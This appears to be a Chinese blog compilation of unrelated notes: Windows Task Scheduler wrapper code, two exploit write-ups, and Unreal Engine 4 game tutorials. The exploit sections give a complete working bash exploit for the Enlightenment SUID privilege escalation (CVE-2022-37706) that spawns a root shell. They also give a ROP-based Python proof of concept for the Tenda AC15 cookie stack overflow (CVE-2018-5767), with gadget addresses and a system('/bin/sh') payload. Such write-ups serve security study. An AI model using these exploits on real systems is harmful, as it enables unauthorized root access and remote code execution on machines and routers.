(FAILED(hr))    {        pTaskDefinition->Release();        ShowError("ITaskFolder::RegisterTaskDefinition", hr);        return FALSE;    }    pTaskDefinition->Release();    pRegisteredTask->Release();    return TRUE;}BOOL CMyTaskSchedule::IsExist(char* lpszTaskName){    if (NULL == m_lpRootFolder)    {        return FALSE;    }    HRESULT hr = S_OK;    CComVariant variantTaskName(NULL);    CComVariant variantEnable(NULL);    variantTaskName = lpszTaskName;                     // 任务计划名称    IRegisteredTask* pRegisteredTask = NULL;    // 获取任务计划    hr = m_lpRootFolder->GetTask(variantTaskName.bstrVal, &pRegisteredTask);    if (FAILED(hr) || (NULL == pRegisteredTask))    {        return FALSE;    }    pRegisteredTask->Release();    return TRUE;}BOOL CMyTaskSchedule::IsTaskValid(char* lpszTaskName){    if (NULL == m_lpRootFolder)    {        return FALSE;    }    HRESULT hr = S_OK;    CComVariant variantTaskName(NULL);    CComVariant variantEnable(NULL);    variantTaskName = lpszTaskName;                     // 任务计划名称    IRegisteredTask* pRegisteredTask = NULL;    // 获取任务计划    hr = m_lpRootFolder->GetTask(variantTaskName.bstrVal, &pRegisteredTask);    if (FAILED(hr) || (NULL == pRegisteredTask))    {        return FALSE;    }    // 获取任务状态    TASK_STATE taskState;    hr = pRegisteredTask->get_State(&taskState);    if (FAILED(hr))    {        pRegisteredTask->Release();        return FALSE;    }    pRegisteredTask->Release();    // 无效    if (TASK_STATE_DISABLED == taskState)    {        return FALSE;    }    return TRUE;}BOOL CMyTaskSchedule::Run(char* lpszTaskName, char* lpszParam){    if (NULL == m_lpRootFolder)    {        return FALSE;    }    HRESULT hr = S_OK;    CComVariant variantTaskName(NULL);    CComVariant variantParameters(NULL);    variantTaskName = lpszTaskName;    variantParameters = lpszParam;    // 获取任务计划    IRegisteredTask* pRegisteredTask = NULL;    hr = m_lpRootFolder->GetTask(variantTaskName.bstrVal, &pRegisteredTask);    if (FAILED(hr) || (NULL == pRegisteredTask))    {        return FALSE;    }    // 运行    hr = pRegisteredTask->Run(variantParameters, NULL);    if (FAILED(hr))    {        pRegisteredTask->Release();        return FALSE;    }    pRegisteredTask->Release();    return TRUE;}BOOL CMyTaskSchedule::IsEnable(char* lpszTaskName){    if (NULL == m_lpRootFolder)    {        return FALSE;    }    HRESULT hr = S_OK;    CComVariant variantTaskName(NULL);    CComVariant variantEnable(NULL);    variantTaskName = lpszTaskName;                     // 任务计划名称    IRegisteredTask* pRegisteredTask = NULL;    // 获取任务计划    hr = m_lpRootFolder->GetTask(variantTaskName.bstrVal, &pRegisteredTask);    if (FAILED(hr) || (NULL == pRegisteredTask))    {        return FALSE;    }    // 获取是否已经启动    pRegisteredTask->get_Enabled(&variantEnable.boolVal);    pRegisteredTask->Release();    if (ATL_VARIANT_FALSE == variantEnable.boolVal)    {        return FALSE;    }    return TRUE;}BOOL CMyTaskSchedule::SetEnable(char* lpszTaskName, BOOL bEnable){    if (NULL == m_lpRootFolder)    {        return FALSE;    }    HRESULT hr = S_OK;    CComVariant variantTaskName(NULL);    CComVariant variantEnable(NULL);    variantTaskName = lpszTaskName;                     // 任务计划名称    variantEnable = bEnable;                            // 是否启动    IRegisteredTask* pRegisteredTask = NULL;    // 获取任务计划    hr = m_lpRootFolder->GetTask(variantTaskName.bstrVal, &pRegisteredTask);    if (FAILED(hr) || (NULL == pRegisteredTask))    {        return FALSE;    }    // 设置是否启动    pRegisteredTask->put_Enabled(variantEnable.boolVal);    pRegisteredTask->Release();    return TRUE;}

这是一个Linux上的提权漏洞

先需要安装 apt install enlightenment

/usr/lib/x86_64-linux-gnu/enlightenment/utils/ 下的 enlightenment_sys 文件 其中就包含了一段可以利用的提权代码。

  eina_init();  uid = getuid();  v56 = getgid();  LODWORD(v57) = getegid();  v11 = getgroups(0x10000, v64);  if ( v11 < 0 )  {    puts("ERROR: MEMBER OF MORE THAN 65536 GROUPS");    exit(3);  }  v58 = v11;  if ( setuid(0) )  {    puts("ERROR: UNABLE TO ASSUME ROOT PRIVILEGES");// 提升了它的特权。    exit(5);  }  v12 = setgid(0);  if ( v12 )  {    puts("ERROR: UNABLE TO ASSUME ROOT GROUP PRIVILEGES");    exit(7);  }

我们的想法就是想办法执行这段代码后，通过执行system(“/bin/sh”) 来提权并getshell

这一段就是在判断传入的参数是否为help 我们不用管他，不传入help即可。

v7是被/阶段后的字符串它将会被再次截断 来与 mount 进行比较从而进入 if 。

/bin/mount 实际上是 linux 的文件目录，在之后会通过文件查找来搜索该路径，所以我们的第一个参数就是 /bin/mount

然后就进入了提权的代码段

删除了很多环境变量，这是
安全预防措施以不
调用另一个非预期的二进制文件。

然后来到了299行附近。这里我们需要让main函数的第一个参数为 6 .

if ( *v26 == 45 && !strcmp(v26, “-o”) && (eina_strlcpy)(v68, parameter_2[3], 64LL) <= 63 )

由上面这句可以发现 第二个参数需要为 -o

然后进入while循环，通过调整传入参数的顺序来让 v54 v28 v56 都被赋值，并且最后进入下面这个else if 后的结果是 -1&-1&-1&-1从而进入接下来 的函数

观察代码可以发现，每经过一次循环就截断一次v29，并进行赋值或比较。而v29的来源正是 传入的第三个参数

else if ( strncmp(v29, "utf8,", 5uLL)         && strncmp(v29, "utf8=0,", 7uLL)         && strncmp(v29, "utf8=1,", 7uLL)         && strncmp(v29, "iocharset=utf8,", 0xFuLL) )

所以第三个参数是

noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), “/dev/../tmp/;/tmp/exploit”

后面这个部分是需要我们创建的文件路径，这是为getshell做准备的。

来到350行附近，第348行的if我们是不会进入的，但v49是 传入的第四个参数。 由441行可知 ，它的前5个字节必须要是 /dev/

由375行可以发现v51和v50的地址要相差6，所以最终的 第四个参数 是 /tmp///net

最后程序将检测 /dev/net 目录是否存在

所以我们需要创建目录 mkdir -p /tmp/net

为了获取system的参数，先创建文件路径 mkdir -p “/dev/../tmp/;/tmp/exploit”

当system 获取的参数是 noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), “/dev/../tmp/;/tmp/exploit”

由于 eina_strbuf_append_printf() 它变成了 /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), /dev/../tmp/;/tmp/exploit /tmp///net 这里去掉了 “”

由于; 会执行system 的参数是 /tmp/exploit

可以利用重定向，将 /tmp/exploit 重定向为 “/bin/sh”

最终完成提权，并且getshell

exp如下

#!/bin/bashecho "CVE-2022-37706"echo "[*] Trying to find the vulnerable SUID file..."echo "[*] This may take few seconds..."file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)if [[ -z ${file} ]]then    echo "[-] Couldn't find the vulnerable SUID file..."    echo "[*] Enlightenment should be installed on your system."    exit 1fiecho "[+] Vulnerable SUID binary found!"echo "[+] Trying to pop a root shell!"mkdir -p /tmp/netmkdir -p "/dev/../tmp/;/tmp/exploit"echo "/bin/sh" > /tmp/exploitchmod a+x /tmp/exploitecho "[+] Enjoy the root shell :)"${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net

IoT固件仿真的基础方法及排错思路。
对ARM架构栈溢出漏洞的利用和调试方法。

arm指令

1.实验目标

分析的漏洞为CVE-2018-5767，是一个输入验证漏洞，远程攻击者可借助COOKIE包头中特制的‘password’参数利用该漏洞执行代码。

固件下载地址：https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.1.16_multi_TD01.zip

2.固件仿真

首先使用binwalk导出固件文件系统，并通过ELF文件的头信息判断架构，得知为32位小端ARM。

binwalk -Me US_AC15V1.0BR_V15.03.1.16_multi_TD01.zipreadelf -h bin/busybox

可以看见该文件是 32位 arm架构

用chroot ./ ./qemu-arm-static ./bin/httpd 模拟运行一下发现会卡住

#安装qemu和arm的动态链接库sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*cp $(which qemu-arm-static) .sudo chroot ./ ./qemu-arm-static ./bin/httpd

mips

sudo chroot ./ ./qemu-mipsel-static ./bin/httpd

根据输出的字符 Welcome to … 寻找目标函数 ， 并且将这里打patch为 1

修改完后保存

再次运行程序。发现打印的端口不对，设计虚拟网卡。

sudo apt install uml-utilities bridge-utilssudo brctl addbr br0sudo brctl addif br0 ens33sudo ifconfig br0 upsudo dhclient br0

3.漏洞分析

溢出点在R7WebsSecurityHandler函数中。ida可以直接按f5反编译arm架构的代码。

这里进行scanf时没有限制大小，所以存在溢出漏洞

我们需要保证请求的url路径不会导致if语句为false，比如“/goform/xxx”就行。

现在我们用 sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd，用qemu挂载到1234端口上运行，并且用ida进行连接调试。

gdb-multiarch ./bin/httpdtarget remote :1234continue

使用python requests库来构造HTTP请求，代码如下：

import requestsurl = "http://192.168.2.108/goform/xxx"cookie = {"Cookie":"password="+"A"*1000}requests.get(url=url, cookies=cookie)

可以发现我们通过溢出修改了一些寄存器的值，但是现在只是造成了拒绝服务，而不能执行命令。

用 bt 来看看栈中有哪些函数

跟踪0x0002c5cc,发现位于sub_2C568函数中，而该函数在我们缓冲区溢出后将被执行。

观察可以发现，利用这个if如果是false，那么可以直接return ,从而利用栈溢出。

这段代码寻找“.”号的地址，并通过memcmp函数判断是否为“gif、png、js、css、jpg、jpeg”字符串。比如存在“.png”内容时，memcmp(v44, “png”, 3u)的返回值为0，if语句将失败。

而这段字符串的读取地址正好位于我们溢出覆盖的栈空间中，所以在payload的尾部部分加入该内容即可。于此同时，我们使用cyclic来帮助判断到返回地址处的偏移量。

import requestsurl = "http://192.168.2.108/goform/xxx"cookie = {"Cookie":"password="+"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae"+ ".png"}requests.get(url=url, cookies=cookie)

需要特别注意，崩溃的返回地址显示是0x6561616c(‘laae’)，我们还需要观察CPSR寄存器的T位进行判断，CPSR寄存器的标志位如下图所示。

这里涉及到ARM模式（LSB=0）和Thumb模式（LSB=1）的切换，栈上内容弹出到PC寄存器时，其最低有效位（LSB）将被写入CPSR寄存器的T位，而PC本身的LSB被设置为0。此时在gdb中执行p/t $cpsr以二进制格式显示CPSR寄存器。如下图所示，发现T位值为1，因此需要在之前报错的地址上加一还原为0x6561616f(‘maae’)。

我们可以在函数最后返回的pop指令处（0x2ed18）下断点进行辅助判断。如下图所示，可以看到PC原本将被赋值为“maae”。因此偏移量为448。

4.漏洞利用

大多数程序都会加载使用libc.so动态库中的函数，因此可以利用libc.so中的system函数和一些指令片断（通常称为gadget）来共同实现代码执行。需要以下信息：

将system函数地址写入某寄存器的gadget；往R0寄存器存入内容（即system函数的参数），并跳转到system函数地址的gadget；libc.so的基地址；system函数在libc中的偏移地址；

这里我们假设关闭了ASLR，libc.so基地址不会发生变化。通过gdb中执行vmmap查看当前libc.so的加载地址

带有-x执行权限的就是libc基地址

system函数的偏移地址读取libc.so文件的符号表，命令为：readelf -s ./lib/libc.so.0 | grep system，得到0x0005a270。

接着寻找控制R0的指令片断：
gadget2:

sudo pip3 install ropgadgetROPgadget --binary ./lib/libc.so.0  | grep "mov r0, sp"0x00040cb8 : mov r0, sp ; blx r3

这条指令会将栈顶写入R0，并跳转到R3寄存器中的地址。因此再找一条可以写R3的指令即可：
gadget1:

ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r30x00018298 : pop {r3, pc}

最终payload格式为：[offset, gadget1, system_addr, gadget2, cmd] ，流程如下

溢出处函数返回跳转到第一个gadget1（pop {r3, pc}）；
出栈 r3,pc

system被保存r3中，而pc指向了gadget2。

栈顶第一个元素（system_addr）弹出到R3寄存器，第二个元素(gadget2：mov r0, sp ; blx r3})弹出到PC，使程序流执行到gadget2；

此时的栈顶内容（cmd）放入R0寄存器，并使程序跳转到R3寄存器指向的地址去执行。

最后指向system，并且r0传递参数

poc如下:

#!/usr/bin/python2import requestsfrom pwn import *cmd="/bin/sh\x00"libc_base = 0xff5d5000#libc_base = 0xf65e5000system_offset = 0x0005a270system_addr = libc_base + system_offset   # 0xff62f270gadget1 = libc_base + 0x00018298          # 0xFF5ED298   pop {r3, pc}gadget2 = libc_base + 0x00040cb8          # 0xFF615CB8   mov r0, sp ; blx r3payload = "A"*444 +".png" + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmdurl = "http://192.168.183.138/goform/exeCommand"cookie = {"Cookie": "password="+payload}requests.get(url=url, cookies=cookie)

参考资料 :

https://www.anquanke.com/post/id/204326#h2-3

https://the-itach1.github.io/2022/07/25/CVE-2018-5767%20TENDA%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/

https://blog.csdn.net/weixin_45309916/article/details/107837561

开关门

自动开关门

在内容浏览器中右键新建一个蓝图类

添加静态网格体组件 选取对应的模型door

添加 box collision 命名为Box 规定碰撞区域

为Box添加事件，组件重叠时触发(on component begin overlap(Box))，组件结束重叠时触发(on component end overlap(Box))

在事件图标中规定时间轴(timeline)，并且在内部设置门旋转的角度和时间

获取door 为door设置相对旋转(setrelativerotation) 注意，应该设置为相对旋转，否则将以世界坐标为参考(setworldrotation)导致门旋转异常。

最后根据执行流程绘制蓝图：组件重叠时开始以时间轴逐帧播放旋转动画，结束重叠时逆向播放动画，将相对旋转设定为door的z轴

按E开关门

在自动关门的基础上添加 gate组件，利用flip flop 分别控制动画的正反播放

用E键控制gate能否执行，在组件是否重叠后 利用 启动输入(enable input) 和 禁用输入(disable input) 分别控制gate 的 open close

获取玩家控制器 来得到输入的E

鼠标开关门

在世界大纲中新建一个玩家控制类，并且启动显示鼠标，点击事件，触控事件

设置点击时触发事件

show mouse cursor 是获取玩家控制器的一个选项利用其返回值进行设置

用玩家控制器控制启动和禁用输入 并且设置启动输入时显示鼠标，禁用时不显示

最终蓝图如下：

ps：应注意碰撞盒子和模型的包含结构，否则会出现意想不到的bug

用钥匙开门

在之前按键开门的基础上新增一个变量 有无钥匙 在gate启动前用分支进行判断，如果该bool值为0则不开门。

新建一个蓝图类key 当模型重叠时获得玩家的控制器并启动输入，利用获取类的所有actor并把该类设置为 key 进行蓝图间的通信 ，将outacotr的引脚设置为get[0] （因为钥匙可能不止一把），将变量 有无钥匙 设置为 1 。然后销毁actor , 让钥匙模型消失。

文本渲染组件 静态网格体间的通信

文本渲染组件

利用文本渲染组件可以在模型上显示文本，在可视选项上调整初始时是否可见。

利用文本渲染组件可以适当的时候显示文本。比如这里我们就在人物模型与门碰撞开启门前显示文本，而开启门后消失。

这里添加一个类型转换是为了确保是玩家与门发生碰撞才开门，而不是ai 。然后通过给文本设置可视性来显示或消失文本。新建一个变量 是否开门 来记录门的状态。第一次按F，则设置为 是否开门 为 1 ，并且播放开门动画。第二次按F，则设置为 是否开门 为 0 ，并且反向播放开门动画。

静态网格体间的通信

当所有灯开启时开启机关。

添加灯光（默认不开灯），模型等组件。

添加变量 是否开灯， 是否开启机关 。

当靠近灯的时候开启文本提示，离开时消失。

和之前开门差不多，利用玩家控制器输入F ，利用Flip Flop 和设置可视性 设置灯的开关

用 获得类的所有actor，选择Light（灯光）。因为需要所有灯开时才触发机关所以需要一个循环遍历 (for each loop with break)。只要有一个灯没开就退出。遍历完所有灯都可开启就 执行控制台命令(execute)开启机关。

进入循环后判断是否开灯，若为1 就将 是否开启机关；否则将 是否开启机关为0，并且break

点击视口中的静态网格体，打开其关卡蓝图添加一个自定义事件，添加对其的一个引用设置旋转。

在执行控制台命令(execute) 用 ce 自定义事件名字（ce 开启机关门） 就可以在执行完循环后执行自定义事件。

多角色切换

创建新角色

1.直接将人物蓝图拖入场景，在右边的细节面版的posses中设置自动控制玩家为玩家0

2.在窗口->世界场景设置-›游戏模式覆盖 为thirdpersongamemode，然后在左边基础-›玩家出生点 设置玩家位置

角色切换

在场景中放置多个人物模型,用shift在世界大纲视图中选中所有的人物，选中后打开关卡蓝图，把所有人物拖拽到关卡蓝图中。

multigate 是gate的加强版，可以按次序执行所有的引脚蓝图

因为人物是pawn类所以不用在按Q前获取玩家控制器（其子类charactor也是）。 按Q后接入multigate，延迟0.2秒钟后用 control(这是 获取玩家控制器的调用 ，所以只可以在获取玩家控制器的引脚下呼出)

直接切换玩家会导致视角有割裂感，所以可以使用混合设置视图目标 setview（也是获取玩家控制器的调用）来控制视角变换。将变换目标设置为 获取玩家控制器 新的视角目标为下一个人物。blendtime设置为2秒。

最后为了关卡蓝图的美观可以将固定的流程（没有变换的输入）重叠到宏。

注意：当视角混合过程中还按了Q那么就有可能出现bug，所以需要创建一个变量 panduan 来 判断人物是否切换完成，切换过程中无法输入。

切换视角时需要将new view target 设置为下一个人物的蓝图类。否则会出现bug

利用蓝图接口通信

在内容浏览器新建蓝图以及蓝图接口

在蓝图接口中添加一个函数CanopenDoor

以事件的方式调用CanopenDoor，以蓝图编程整个开门过程

在ThirdPersonCharacter类中新建一个变量Th_door，类型为Door类型的蓝图

在ThirdPersonCharacter类中 按1就与CanopenDoor通信 ，但是现在的变量door仍是空的。所以需要在与box碰撞时把Door类中的内容传进去。也是因此需要通过类型转换与Th_door进行传输,并且将Door类自身传输过去。

这样在人物与box重叠时就与ThirdPersonCharactor进行通信，将Door类传输给了ThirdPersonCharactor中的变量Th_Door，
这是Th_Door是存在的可以通过 ?is Valid 并且与CanopenDoor通信。最后在Door类中开始调用开门的具体内容。

注意： ?is Valid 是必须要的否则会导致在Th_Door为空时无法调用而报错。

控制载具

这里就用UE4自带的载具模型。在载具的蓝图类中添加好 组件： Box 上车的碰撞盒子 ； Up上车后人物的位置 ； Down 下车后人物的位置 变量：小白人 设置为 Pawn 类型的引用 ； 下车 判断人物是否下车

调节他们的位置和大小如上图

在sedan类下创建一个自定义事件 上车

在人物类中新建一个变量 VehiclRef 设置其类型为Sedan ，并设置为公有让其他的蓝图类可以访问 此时 这个变量是空的，如果没有 ?is valid 就会报错 ，接下来调用上车的自定义事件，并且把自身传过去。

回到Sedan类

通过类型转换的方式与Vehiclr Ref 通信 并将自身设置为Vehiclr Ref,设置Vehiclr Ref需要从类型转换的引脚中拖出

触发自定义事件上车后进入Gate分支将控制权给到自身(Sedan)

变换控制权之后就可以开走载具了，但是人物模型会停留在原地。所以还需要进行一个角色位置的变换。

变换的目标设置为小白人，变换的位置设置为Up，所以用Up 获取场景变换 再 拆分变换，将新的位置 和 旋转 传到 设置actor中

但是到这里因为人物和载具都有碰撞体积，所以会出现镜头疯狂旋转的动画，因此接下来需要取消小白人的碰撞并将其附加到Up的位置

以小白人的变量引用为目标 设置actor启用碰撞 为取消 然后 附加到组件 目标为小白人 附加到的父类为 Up 所以的参数都设置为保持场景。最后设置变量 下车 为空。

下车和上车差不多但是过程反过来。

因为此时的控制器在Sedan上所以直接在这个类里输入 F 即可。 判断一下小白人是否为空，然后让小白人进行 从actor分离。

设置actor变换让小白人变换到 Down的位置，为了让视角不倾斜，我们只让Z轴进行变换

开启小白人的碰撞

把控制权重新交给小白人，小白人类型应该为pawn

但是现在还有点问题，下车视角比较僵硬； 下车后载具依然会向前滑行。

因此我们需要混合视图目标 , 他在 获取玩家控制器 的调用 set view ，将视图混合到小白人上。

在Sedan类中找到 设置油门输入 当 下车 时进入分支无法输入油门

在Sedan类中 以 Vehicle Movement 的引脚 设置手制动输入 set hand 也就是启动手刹。然后 设置油门输入 为 0

射线检测的计算方式拾取物品

射线检测的计算方式

用射线检测的计算方式检测骨架网格体，利用蓝图通信的方式按F，销毁模型。

在人物模型类当中新建 event tick (会不断得触发) .在左侧组件栏中拉出 人物的camera 获取到场景位置(get world location) 作为 由通信追踪线条 的 起始点。 再由该起始点加上当前摄像机方向上的向量(获取当前向量 get forward vecotr) * 500 个厘米 再加上原来的位置 作为 由通信追踪线条 的 终点。

选择Draw Debug Type 为 任意模式进行debug。运行即可看到由摄像机不断发出的追踪线。

利用蓝图通信与骨骼网格体通信

自定义和设置，碰撞的响应通道

想要用射线检测与物体进行通信，需要设置设置响应的通道，让该物体在此通道中被阻挡。

添加响应通道 ：

在视图窗口 设置 -> 项目设置 -> 引擎 -> 碰撞 在 Trace Channels 中新建一个追踪通道 默认响应设置为 ignore , 当目标模型需要响应时才设置为响应。 这里取名为 PickUp。

实现蓝图接口通信

新建一个acotr蓝图类Pick_Up，先选中一个骨骼网格体（先选中可以快速添加），添加组件进入该类。

设置其碰撞预设为自定义(costom),将刚才设置的响应通道PickUp打开。这样射线可以阻挡该骨骼网格体

新建一个蓝图接口 PickUp_interaction ，添加PickUp函数。不要添加输出，这样可以把它作为事件调用。

在Pick_Up蓝图类中添加刚才新增的蓝图接口 PickUp_interaction ，这样可以使用在蓝图接口中的函数

在Pick_Up蓝图类中新增一个图标，以事件的方式调用Pick up ，最终要销毁自身，达到拾取物品的消失。

最后修改射线检测的 图表 。在hit选择中选中 hit actor 然后向PickUp通信，调用该事件。

AI行为树

控制器 ，行为树 ， 黑板

创建AI控制器 ，行为树 ， 黑板

在黑板中新建两个变量，是否看到玩家，要去的地方。

在AI蓝图中添加ai感知组件，设置AI视力配置，并且设置其下选项

在行为树中添加 选择 和 序列 。
在行为树中设置装饰为黑板。设置变量为是否看到玩家。分别修改为已设置或未设置表示看见了或没看见。

新建任务当看到玩家时进行 Seek_Player ，没看见时执行 Find_Point 。

在人物蓝图中人物运动类中将旋转朝向运动关闭

在类的默认设置中 使用控制器旋转YoW

这样AI就会一直面向玩家，不容易丢失了。

进入任务蓝图

Seek_Player就是让ai移动到玩家位置 由事件接收执行AI 的事件调用 ， 设置焦距可以时ai
一直面向玩家，最后要完成执行才可以继续进入下一个事件。

Find_Point 则是随机获取可导航半径的一个点来进行移动
这里的 获取可导航半径内的随机点 参数半径 要设置 否则AI不会移动。

那么AI如何调用行为树呢？

以事件开始运行 为引脚 运行行为树

利用类型转换进行通信，当目标感知更新时把黑板中的变量 是否看到玩家 设置为布尔。这样在行为树中 是否看到玩家就是已设置的状态，可以进入Seek_player的序列了。

AI播放攻击动画

可以用 蒙太奇播放 动画

当模型开始碰撞时 执行挥拳的动画。 注意要播放蒙太奇动画需要配置插槽 ，这个插槽相当于一个标签，用于标志动画。
但是我这样一直没有成功，因为我重定向的动画让我的AI一直保持T-POSE，搞了很久都没有解决。

粉胖香菇

资源导入与人物创建

新增一个c++的character类 取名叫 benben

然后基于 benben 新建一个蓝图类 取名 BP_benben

打开 BP_benben 蓝图类 为其选择一个骨骼网格体，并且条件碰撞体的大小。

创建全局摄像机

新建一个 gamemodebase 蓝图类，用于控制游戏的模式，取 BP_gamemode

在项目设置中 选择 default gamemode(默认游戏模式) 为BP_gamemode

default pawn class(默认角色类)为BP_benben

这样在视图中 playerstart 就是 BP_benben 了

添加一个C++ actor 类 取名 BP_gamecamera

在.h文件中声明camercomp类 然后在.cpp中实例化

需要先声明UCameraComponent 类 然后申请一个 CameraComp的类

CameraComp = CreateDefaultSubobject(TEXT(“CameraComp”)); //实例化摄像机
CameraComp->SetupAttachment(RootComponent); 将CameraComp附加到RootComponent根组件下

CreateDefaultSubobject该函数是个模板函数，用于创建组件或子对象，然后返回指向新建组件内存区域的指针。此函数只能在无参构造器中使用而不能在BeginPlay等函数中使用！参数中的TEXT或者FName参数在同一个Actor中不能重复！可以使用SetupAttachment将一个组件附加到另一个组件上UPROPERTY 用途广泛。它允许变量被复制、被序列化，并可从蓝图中进行访问。Category 指定在Blueprint编辑工具中显示的属性的类别

编译后如图所示 CameraComp 被附加到了 BP_gameCamera 组件下

指定默认摄像机

声明一个玩家控制器 PC ,然后利用 视角混合 将视角给我们申请的摄像机

SetViewTargetWithBlend官方文档

然后调节视图中个各位置即可。

主角跟随鼠标移动

在benben.h中申明 APlayerController* PC;

直接利用 GetController() 方法 赋给 PC

把 bShowMouseCursor 属性设置成true ，这样就可以显示鼠标了

在.h中声明 MoveTowardsCursor 函数用于主角跟随鼠标移动

APlayerController* PlayerController = GetWorld()->GetFirstPlayerController();  //获取鼠标位置FVector2D MousePos = FVector2D(0, 0);FVector MouseLocation, MouseDirection;PlayerController->GetMousePosition(MousePos.X, MousePos.Y);                    //获取2d鼠标坐标PC->DeprojectMousePositionToWorld(MouseLocation, MouseDirection);FVector2D ObjLocation(0, 0);PlayerController->ProjectWorldLocationToScreen(GetActorLocation(), ObjLocation);   //获取球在屏幕上2d坐标float XDirection = FMath::Clamp(ObjLocation.X - MousePos.X, -1.0f, 1.0f);FVector Direction = FVector(XDirection, 0, 0);float ScaleValue = FMath::Clamp( FMath::Abs(MouseLocation.Y - GetActorLocation().Y / 100),0.0f,1.0f);AddMovementInput(Direction, ScaleValue);

DeprojectMousePositionToWorld ： Convert current mouse 2D position to World Space 3D position and direction. Returns false if unable to determine value.

获取鼠标的3d世界坐标，再获取主角的2d坐标，用 鼠标位置.x - 主角位置.x = 移动的方向 Direction ; Scalevalue 是移动的大小 可以为空

因为需要不断的调用，所以要放在 tick 里面

主角垂直方向跳跃

在.h中定义

void Lanuch();和

void LaunchOnAnyKeyPressed();

virtual void SetupPlayerInputComponent(class UInputComponent* PlayerInputComponent) override;

void Abenben::Lanuch()LaunchOnAnyKeyPressed()函数 分别实现点击时跳跃和碰到云时跳跃{    LaunchCharacter(LaunchVelocity,false,true);}

LaunchVelocity是一个三维向量代表跳跃的方向 LaunchVelocity = FVector(0, 0, 1500);

void Abenben::LaunchOnAnyKeyPressed(){    if (!GetCharacterMovement()->IsFalling() && !bGameStarted) {        Lanuch();    }    if (bGameStarted == false) {        bGameStarted = true;    }}

为角色动作进行绑定

void Abenben::SetupPlayerInputComponent(UInputComponent* PlayerInputComponent){    Super::SetupPlayerInputComponent(PlayerInputComponent);    PlayerInputComponent->BindAction("Jump", IE_Pressed, this, &Abenben::LaunchOnAnyKeyPressed);}

为Jump设置输入为任意键

允许 Pawn 设置自定义输入绑定。由玩家控制器使用由创建玩家输入组件创建的输入组件（）调用。

摄像机跟随

只需让摄像机.z的值跟主角一致即可

先在Game Camera.h 中获得 Abenben类型的指针

class Abenben;

Abenben* benben;

在Game Camera.cpp 中用类型转换获取主角

void AGameCamera::BeginPlay(){    Super::BeginPlay();    benben = Cast<Abenben>(UGameplayStatics::GetPlayerPawn(this, 0));    //获取主角    PC = UGameplayStatics::GetPlayerController(this, 0);   //获取playercontroller    PC->SetViewTargetWithBlend(this, 0);                    //调用playercontroller下的一个方法对视角进行混合，开始为刚进入游戏及0}

在Game Camera.h声明 void MoveCamera(); 用于移动摄像机

void AGameCamera::MoveCamera(){    FVector TargetPos = FVector(GetActorLocation().X, GetActorLocation().Y, benben->GetActorLocation().Z);  //获得小球的Z方向，和自身的XY    SetActorLocation(TargetPos);          //该方法可以设置本Actor的位置}

自身的x y 保持不变，z随benben改变

void AGameCamera::Tick(float DeltaTime){    Super::Tick(DeltaTime);    if (bFollowPlayer)    {        MoveCamera();        CheckIfFalling();    }}

写入tick随时调用

创建云彩

新建一个actor类 ，需要有碰撞检测和mesh模型

绑定碰撞盒子和模型到根组件

编译后创建基于Cloud的蓝图类

指定好模型和贴图材质

云的随机生成和文本

我们要为Cloud的材质设定多个随机值，需要修改的就是这个 Texture

在cpp的SetARandomCloudTexture()中随机生成材质

void ACloud::SetARandomCloudTexture(){    MatInterface = CloudPlane->GetMaterial(0);                     //为云设置材质    MatInstance = CloudPlane->CreateDynamicMaterialInstance(0, MatInterface);    int Index = FMath::RandRange(0, 2);                            //随机生成材质    if (Textures[Index])    {        MatInstance->SetTextureParameterValue(FName(TEXT("Texture")), Textures[Index]); //将材质设置好贴图        CloudPlane->SetMaterial(0, MatInstance);    }}

为Cloud 设置材质

检测云与主角的碰撞

当此执行组件与另一个执行组件重叠时发生的事件，例如，玩家走进触发器。有关对象发生阻塞碰撞时的事件，例如玩家撞墙，请参阅“命中”事件。

此 Actor 和其他 Actor 上的组件都必须将“b生成过重叠事件”设置为 true 才能生成重叠事件。

Syntaxvirtual void NotifyActorBeginOverlap(    AActor * OtherActor)RemarksEvent when this actor overlaps another actor, for example a player walking into a trigger. For events when objects have a blocking collision, for example a player hitting a wall, see 'Hit' events.Components on both this and the other Actor must have bGenerateOverlapEvents set to true to generate overlap events.

重写 SetARandomCloudTexture 函数当碰撞的类是 时启动跳跃

TSubclassOf<ACloud> Cloud;                 //限定赋值的只有Cloud及其子类

因为有TSubclassOf 限定了赋值的可以是Cloud及其子类，将其设置为BP_CLoud ， 我们打算利用SpawnArea 生成云；TriggerArea清除云

调整SpawnArea 和 TriggerArea 大小

云彩生成器及其上升

新建一个cloudSpawn类

